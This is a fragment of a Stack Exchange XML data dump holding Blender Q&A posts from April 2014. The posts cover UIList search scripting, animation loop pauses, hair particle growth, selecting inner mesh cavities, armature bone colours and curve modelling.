  <row Id="8813" PostTypeId="2" ParentId="8812" CreationDate="2014-04-22T23:41:52.543" Score="11" Body="&lt;p&gt;You can change the properties of fly navigation (including view height) in &lt;em&gt;User preferences &gt; Input &gt; View Navigation&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/C90SI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if it's grayed out because the &lt;em&gt;Gravity&lt;/em&gt; checkbox is disabled, changing the value will still affect the view hight when gravity is enabled by pressing &lt;kbd&gt;Tab&lt;/kbd&gt; while in fly navigation mode.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-04-22T23:41:52.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8814" PostTypeId="2" ParentId="8699" CreationDate="2014-04-22T23:46:05.917" Score="6" Body="&lt;p&gt;More on &lt;code&gt;template_list()&lt;/code&gt;, which is related to the specific problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To search in properties other than a &lt;code&gt;PropertyGroup&lt;/code&gt;'s  &lt;code&gt;.name&lt;/code&gt;, you can either write a custom filter function (see &lt;em&gt;Ui List&lt;/em&gt; Template), or use a little hack: Concatenate all fields for search and use it as &lt;code&gt;.name&lt;/code&gt;, but not draw it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_info = {&#xA;    &quot;name&quot;: &quot;Collection Menu&quot;,&#xA;    &quot;author&quot;: &quot;CoDEmanX&quot;,&#xA;    &quot;version&quot;: (1, 0),&#xA;    &quot;blender&quot;: (2, 65, 0),&#xA;    &quot;location&quot;: &quot;&quot;,&#xA;    &quot;description&quot;: &quot;&quot;,&#xA;    &quot;warning&quot;: &quot;&quot;,&#xA;    &quot;wiki_url&quot;: &quot;&quot;,&#xA;    &quot;category&quot;: &quot;&quot;}&#xA;&#xA;&#xA;import bpy&#xA;&#xA;coll_data = (&#xA;    (&quot;Option A&quot;, &quot;The first option, can be found by searching '1' as well&quot;),&#xA;    (&quot;Option B&quot;, &quot;You can find this by searching for 'roflmao'&quot;),&#xA;    (&quot;Some text&quot;, &quot;Some more descriptive explanation&quot;),&#xA;    (&quot;Blabla&quot;, &quot;Talking stuff...&quot;)&#xA;)&#xA;&#xA;class COLL_UL_search(bpy.types.UIList):&#xA;    def draw_item(self, context, layout, data, item, icon, active_data, active_propname):&#xA;        if self.layout_type in {'DEFAULT', 'COMPACT'}:&#xA;            # You should always start your row layout by a label (icon + text), or a non-embossed text field,&#xA;            # this will also make the row easily selectable in the list! The later also enables ctrl-click rename.&#xA;            # We use icon_value of label, as our given icon is an integer value, not an enum ID.&#xA;            # Note &quot;data&quot; names should never be translated!&#xA;            split = layout.split(0.3)&#xA;            split.label(item.label)&#xA;            split.label(item.description)&#xA;&#xA;        elif self.layout_type in {'GRID'}:&#xA;            pass&#xA;&#xA;class MyColl(bpy.types.PropertyGroup):&#xA;    #name = bpy.props.StringProperty()&#xA;    label = bpy.props.StringProperty()&#xA;    description = bpy.props.StringProperty()&#xA;&#xA;&#xA;class HelloWorldPanel(bpy.types.Panel):&#xA;    &quot;&quot;&quot;Creates a Panel in the Object properties window&quot;&quot;&quot;&#xA;    bl_label = &quot;Hello World Panel&quot;&#xA;    bl_idname = &quot;OBJECT_PT_hello&quot;&#xA;    bl_space_type = 'PROPERTIES'&#xA;    bl_region_type = 'WINDOW'&#xA;    bl_context = &quot;scene&quot;&#xA;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;&#xA;        col = context.scene.col&#xA;        idx = context.scene.col_idx&#xA;&#xA;        if idx &amp;gt;= len(col):&#xA;            #context.scene.col_idx = len(col) - 1&#xA;            text = &quot;(index error)&quot;&#xA;        else:&#xA;            text = col[idx].name&#xA;&#xA;        layout.template_list(&quot;COLL_UL_search&quot;, &quot;&quot;, context.scene, &quot;col&quot;, context.scene, &quot;col_idx&quot;)&#xA;&#xA;&#xA;def collhack(scene):&#xA;    bpy.app.handlers.scene_update_pre.remove(collhack)&#xA;&#xA;    try:&#xA;        scene.col.clear()&#xA;    except:&#xA;        pass&#xA;&#xA;    for i, (label, description) in enumerate(coll_data, 1):&#xA;        item = scene.col.add()&#xA;        item.label = label&#xA;        item.description = description&#xA;        item.name = &quot; &quot;.join((str(i), label, description))&#xA;&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;    bpy.types.Scene.col = bpy.props.CollectionProperty(type=MyColl)&#xA;    bpy.types.Scene.col_idx = bpy.props.IntProperty(default=0)&#xA;&#xA;    bpy.app.handlers.scene_update_pre.append(collhack)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;    del bpy.types.Scene.col&#xA;    del bpy.types.Scene.col_idx&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;And here's a complex, editable UIList that searches numbers, labels and descriptions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class MESH_UL_mylist(bpy.types.UIList):&#xA;    def draw_item(self, context, layout, data, item, icon, active_data, active_propname, index, flt_flag):&#xA;        self.use_filter_show = True&#xA;&#xA;        if self.layout_type in {'DEFAULT', 'COMPACT'}:&#xA;            split = layout.split(0.1)&#xA;            split.label(&quot;%i.&quot; % (index + 1))&#xA;            split = split.split(0.3)&#xA;            split.prop(item, &quot;label&quot;, text=&quot;&quot;, emboss=False)&#xA;            split.prop(item, &quot;description&quot;, text=&quot;&quot;, emboss=False)&#xA;&#xA;        elif self.layout_type in {'GRID'}:&#xA;            pass&#xA;&#xA;    # Called once to filter/reorder items.&#xA;    def filter_items(self, context, data, propname):&#xA;&#xA;        col = getattr(data, propname)&#xA;        filter_name = self.filter_name.lower()&#xA;&#xA;        flt_flags = [self.bitflag_filter_item if any(&#xA;                filter_name in filter_set for filter_set in (&#xA;                    str(i), item.label.lower(), item.description.lower()&#xA;                )&#xA;            )&#xA;            else 0 for i, item in enumerate(col, 1)&#xA;        ]&#xA;&#xA;        if self.use_filter_sort_alpha:&#xA;            flt_neworder = [x[1] for x in sorted(&#xA;                    zip(&#xA;                        [x[0] for x in sorted(enumerate(col), key=lambda x: x[1].label)],&#xA;                        range(len(col))&#xA;                    )&#xA;                )&#xA;            ]&#xA;        else:&#xA;            flt_neworder = []&#xA;&#xA;        return flt_flags, flt_neworder&#xA;&#xA;&#xA;class MyColl(bpy.types.PropertyGroup):&#xA;    #name = bpy.props.StringProperty()&#xA;    label = bpy.props.StringProperty()&#xA;    description = bpy.props.StringProperty()&#xA;&#xA;&#xA;class HelloWorldPanel(bpy.types.Panel):&#xA;    &quot;&quot;&quot;Creates a Panel in the Object properties window&quot;&quot;&quot;&#xA;    bl_label = &quot;Hello World Panel&quot;&#xA;    bl_idname = &quot;OBJECT_PT_hello&quot;&#xA;    bl_space_type = 'PROPERTIES'&#xA;    bl_region_type = 'WINDOW'&#xA;    bl_context = &quot;scene&quot;&#xA;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        layout.template_list(&quot;MESH_UL_mylist&quot;, &quot;&quot;, context.scene, &quot;col&quot;, context.scene, &quot;col_idx&quot;)&#xA;&#xA;# Demo data&#xA;coll_data = (&#xA;    (&quot;Option A&quot;, &quot;The first option, can be found by searching '1' as well&quot;),&#xA;    (&quot;Option B&quot;, &quot;You can find this by searching for 'roflmao'&quot;),&#xA;    (&quot;Some text&quot;, &quot;Some more descriptive explanation&quot;),&#xA;    (&quot;Blabla&quot;, &quot;Talking stuff...&quot;)&#xA;)&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;    bpy.types.Scene.col = bpy.props.CollectionProperty(type=MyColl)&#xA;    bpy.types.Scene.col_idx = bpy.props.IntProperty(default=0)&#xA;&#xA;    # Add demo data&#xA;    scene = bpy.context.scene&#xA;    #scene.col.clear()&#xA;    if 1: #len(scene.col) &amp;lt; 1:&#xA;        for label, description in coll_data:&#xA;            item = scene.col.add()&#xA;            item.label = label&#xA;            item.description = description&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;    del bpy.types.Scene.col&#xA;    del bpy.types.Scene.col_idx&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-04-22T23:46:05.917" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8815" PostTypeId="1" AcceptedAnswerId="8829" CreationDate="2014-04-23T01:57:57.157" Score="6" ViewCount="3659" Body="&lt;p&gt;At the end of my animation, the animation pauses a bit then loops again, how can I stop the slow pause, and let the loop work fluently?&lt;/p&gt;&#xA;" OwnerUserId="1597" LastEditorDisplayName="user1853" LastEditDate="2018-01-16T04:09:29.557" LastActivityDate="2019-09-14T09:19:21.207" Title="How can I prevent a pause at the end of animation loop to have fluid motion." Tags="&lt;animation&gt;&lt;game-engine&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8816" PostTypeId="2" ParentId="8808" CreationDate="2014-04-23T02:07:54.730" Score="20" Body="&lt;p&gt;According to the Blender documentation for &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Curves&quot; rel=&quot;noreferrer&quot;&gt;Bezier curves&lt;/a&gt; and &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Curves#Editing_NURBS_Curves&quot; rel=&quot;noreferrer&quot;&gt;NURBS curves&lt;/a&gt; there is no way to add a new point between two existing points without using the subdivide mechanism (selecting two or more points on the curve, &lt;kbd&gt;W&lt;/kbd&gt;, &lt;em&gt;Subdivide&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I too wish that there were.  Perhaps sometime in the future.&lt;/p&gt;&#xA;" OwnerUserId="1772" LastEditorUserId="19307" LastEditDate="2018-03-22T17:26:31.047" LastActivityDate="2018-03-22T17:26:31.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8817" PostTypeId="2" ParentId="8809" CreationDate="2014-04-23T02:08:49.063" Score="1" Body="&lt;p&gt;Option 1  - &#xA;I believe the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Booleans&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;Boolean Modifier&lt;/em&gt;&lt;/a&gt; will be the simplest approach here, and give the greatest flexibility.&lt;br&gt;&#xA;If you use the snap options (documentation &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Snap_to_Mesh&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;) it provides a very high level of control.  It would be possible to create tho cube to subtract, then use snap to center it precisely on the corner of the cube you wish to subtract from.  I've found this sort of approach quite useful in several situations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Option 2 -&lt;br&gt;&#xA;Looking at your models, only one side is effected, so it would be possible to model with extrusions as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select the face you desire to model the feature in. (Note, ctrl-tab in edit mode will allow you to change to face-select instead of vertices)&lt;/li&gt;&#xA;&lt;li&gt;Move the face back by however far you want the feature to be inset. (press g then x, y, or z for the appropriate axis.  You can enter a numerical value as well)&lt;/li&gt;&#xA;&lt;li&gt;Subdivide the face the desired number of times (w brings up a menu, subdivide is at the top.  repeat it twice for sixteen smaller blocks on the face)  &lt;/li&gt;&#xA;&lt;li&gt;Select the faces you want to stand out from the side of the block.  &lt;/li&gt;&#xA;&lt;li&gt;Press e to extrude them.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2699" LastEditorUserId="29" LastEditDate="2014-04-23T11:21:37.400" LastActivityDate="2014-04-23T11:21:37.400" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8819" PostTypeId="2" ParentId="8815" CreationDate="2014-04-23T08:09:42.810" Score="2" Body="&lt;p&gt;You could either edit your action in the &lt;em&gt;Dope Sheet / Action Editor&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say you want to have a 100 frames long animation but the last keyframe is located at frame 75&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wsoPu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you would have a noticeable pause.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could select the last keyframes &lt;kbd&gt;RMB&lt;/kbd&gt; and move it to &lt;kbd&gt;G&lt;/kbd&gt; frame 100.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VwPCU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or  if you don't want to stretch the animations duration you should set the actual end frame  (in my example 75)  in the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Game_Engine/Logic/Actuators/Action&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Actuator&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DJimz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-04-23T08:09:42.810" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8820" PostTypeId="1" AcceptedAnswerId="8821" CreationDate="2014-04-23T08:11:49.047" Score="11" ViewCount="4044" Body="&lt;p&gt;Can't find how to animate hair particles growing. For some reason keyframes don't work on the hair length parameter. &lt;/p&gt;&#xA;" OwnerUserId="1751" LastEditorUserId="2217" LastEditDate="2014-04-23T15:32:03.880" LastActivityDate="2018-09-12T18:55:26.007" Title="How to animate hair particle growth?" Tags="&lt;animation&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8821" PostTypeId="2" ParentId="8820" CreationDate="2014-04-23T08:20:25.120" Score="14" Body="&lt;p&gt;Set the length to the longest you want the hair to be, and then keyframe the &lt;em&gt;End&lt;/em&gt; factor in &lt;em&gt;Particles &gt; Render &gt; Timing&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YV4gQ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-04-23T08:20:25.120" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8822" PostTypeId="1" AcceptedAnswerId="8823" CreationDate="2014-04-23T08:28:16.880" Score="6" ViewCount="8336" Body="&lt;p&gt;This model of a head has inner geometry for oral and orbital cavity in order to texture the face I would like to hide these parts of the mesh before unwrapping. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bQuIz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could I select the cavities ?&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-04-23T10:56:00.680" Title="How can inner parts of a mesh be selected?" Tags="&lt;modeling&gt;&lt;selection-tools&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8823" PostTypeId="2" ParentId="8822" CreationDate="2014-04-23T08:38:34.820" Score="3" Body="&lt;p&gt;Select an edge ring where the cavity joins with the outer surface:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1DXgh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then press &lt;em&gt;Select Loop Inner-Region&lt;/em&gt; in &lt;em&gt;3D view &gt; Header &gt; Select&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/a1bIT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may need to invert the selection afterwards (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;I&lt;/kbd&gt;).&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="2173" LastEditDate="2014-04-23T10:23:32.573" LastActivityDate="2014-04-23T10:23:32.573" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8825" PostTypeId="2" ParentId="8822" CreationDate="2014-04-23T10:10:48.407" Score="7" Body="&lt;h2&gt;&lt;em&gt;Select&lt;/em&gt; using &lt;em&gt;Limit Selection to Visible&lt;/em&gt; and &lt;em&gt;Hide&lt;/em&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;One possible way to achieve this goal is to enable &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Selecting&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Limit Selection to Visible&lt;/em&gt;&lt;/a&gt;, select the outer surface, &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Selecting&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Invert Selection&lt;/em&gt;&lt;/a&gt;, then &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Modeling/Meshes&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Hide&lt;/em&gt;&lt;/a&gt; it. This method could be particularly useful if your model has lots of cavities you want to hide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, this mesh has an inner cavity with a pink ball in it:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tsADt.gif&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To hide the model's outer shell, do this:   &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the object, then enter Edit mode with &lt;kbd&gt;TAB&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable &lt;em&gt;Limit Selection to Visible&lt;/em&gt; in the 3D Viewport Header so that only faces visible to the camera can be selected:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6yzs6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Toggle into &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Navigating/3D_View&quot; rel=&quot;noreferrer&quot;&gt;Quad View&lt;/a&gt; with &lt;kbd&gt;CTRL&lt;/kbd&gt;&lt;kbd&gt;ALT&lt;/kbd&gt;&lt;kbd&gt;Q&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/efuVQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Switch to using the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Selecting&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Circle Select&lt;/em&gt;&lt;/a&gt; tool (&lt;kbd&gt;C&lt;/kbd&gt;), then increase the size of the selection circle by scrolling up with the scroll wheel (MMB) until you can select most of your model with 1 click&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now using the four windows of the Quad View, select all the outside faces, being careful not to select anything in the cavities:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BR39Z.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Continue selecting until all outer faces are selected.&lt;br&gt;&#xA;&lt;strong&gt;Note:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Since there is no &quot;Back View&quot;, you will have to rotate in the User defined window to select those&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Once you have used the &lt;em&gt;Circle Select&lt;/em&gt; tool to select in one window, you must stop using the tool &lt;strong&gt;&lt;em&gt;while in that window&lt;/em&gt;&lt;/strong&gt; before you can begin to use it in another window. To stop using it, click the LMB (Left Mouse Button) in the window you began using it in&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Rotate the mesh in the User defined window (upper right window) to see if you've successfully selected all the outer mesh. Keep selecting until it's all selected.&lt;br&gt;&#xA;&lt;strong&gt;Note:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Sometimes you have to zoom in and look closely in order for the Circle Selection tool to actually select the geometry&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you accidentally select something you &lt;strong&gt;&lt;em&gt;don't&lt;/em&gt;&lt;/strong&gt; want selected, you can deselect it with the MMB (Middel Mouse Button/Scroll Wheel) while still using the Circle Selection tool  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Once all the outer mesh is selected, &lt;em&gt;Hide&lt;/em&gt; the selected faces by pressing &lt;kbd&gt;H&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xvqzz.gif&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you find you have accidentally hidden parts of the mesh you do not want to hide, then &lt;em&gt;Unhide&lt;/em&gt; with &lt;kbd&gt;ALT&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt;, edit your selection, then &lt;em&gt;Hide&lt;/em&gt; again. Repeat as necessary:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/koGmv.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Once you've made sure all your cavities are properly selected, &lt;em&gt;Unhide&lt;/em&gt; the outer mesh, then &lt;em&gt;Invert Selection&lt;/em&gt; with &lt;kbd&gt;CTRL&lt;/kbd&gt;&lt;kbd&gt;&lt;code&gt;I&lt;/code&gt;&lt;/kbd&gt;, then &lt;em&gt;Hide&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nuXpB.gif&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now all the cavities are hidden.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-04-23T10:56:00.680" LastActivityDate="2014-04-23T10:56:00.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8826" PostTypeId="1" CreationDate="2014-04-23T10:12:51.170" Score="0" ViewCount="156" Body="&lt;p&gt;How can I set the color set for an armature to use custom colors by python? I know that when I choose one color set that it shows an info. The info looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.object.color_set = 'CUSTOM'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I type this command in interactive console I get an error that Object has no attribute color_set&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is that possible?&lt;/p&gt;&#xA;" OwnerUserId="2478" LastActivityDate="2014-06-22T15:13:02.527" Title="setting color_set of armature to CUSTOM via python" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8827" PostTypeId="2" ParentId="8826" CreationDate="2014-04-23T12:21:24.560" Score="2" Body="&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import Color&#xA;&#xA;obj = bpy.context.active_object&#xA;bone_group = obj.pose.bone_groups['Group']&#xA;bone_group.color_set = &quot;CUSTOM&quot;&#xA;bone_group.colors.normal = Color((1.0, 0.0, 0.0))&#xA;bone_group.colors.select = Color((0.0, 1.0, 0.0))&#xA;bone_group.colors.active = Color((0.0, 0.0, 1.0))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastActivityDate="2014-04-23T12:21:24.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8828" PostTypeId="2" ParentId="8793" CreationDate="2014-04-23T12:21:58.620" Score="3" Body="&lt;p&gt;One way is to use curves.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add bezier curve.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Adjust it into a half circle. This can be easier from top view - press &lt;kbd&gt;numpad&lt;/kbd&gt;&lt;kbd&gt;7&lt;/kbd&gt; You also want to move the curve to the side so that one curve point is at the object centre which is still located at the 3d cursor.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the pivot point to 3d cursor - shortcut is &lt;kbd&gt;.&lt;/kbd&gt; &lt;br&gt;&lt;br&gt;&lt;img src=&quot;https://i.stack.imgur.com/5rnFd.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select both points on the curve and duplicate &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt; then rotate 120 degrees - If you don't know the angle you want then let blender calculate it for you. &lt;kbd&gt;R&lt;/kbd&gt;&lt;kbd&gt;360&lt;/kbd&gt;&lt;kbd&gt;/&lt;/kbd&gt;&lt;kbd&gt;3&lt;/kbd&gt; 360 is a full rotation so we divide that by 3, then duplicate and rotate again for the third blade. &lt;br&gt;&lt;br&gt;&lt;img src=&quot;https://i.stack.imgur.com/Wzm2u.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the extrude length to suit &lt;br&gt;&lt;br&gt;&lt;img src=&quot;https://i.stack.imgur.com/Jmj34.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a solidify modifier &lt;br&gt;&lt;br&gt;&lt;img src=&quot;https://i.stack.imgur.com/psMMv.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a centre pole. You may also want to duplicate the original curve, remove the extrude and add a bevel depth to easily make the capping for the top and bottom. &lt;br&gt;&lt;br&gt;&lt;img src=&quot;https://i.stack.imgur.com/2m5zf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-04-23T12:21:58.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8829" PostTypeId="2" ParentId="8815" CreationDate="2014-04-23T14:16:58.817" Score="11" Body="&lt;p&gt;One common mistake with looping animation is to have the first and last frames share the same values. You want the frame after the last to be the same as the first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another cause for pauses in looping animation is to have bezier curves to ease in and out of the first/last frames. Using linear interpolation gives you a constant speed that matches the surrounding frames. Select the keys in the graph editor or dope sheet and press &lt;kbd&gt;T&lt;/kbd&gt; to change the type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jmKvE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jmKvE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two cubes with the same rotation values keyed on the same frames, the red one uses linear interpolation while the blue one uses bezier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/km4X9.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/6558/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=6558&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="935" LastEditDate="2019-09-14T09:19:21.207" LastActivityDate="2019-09-14T09:19:21.207" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
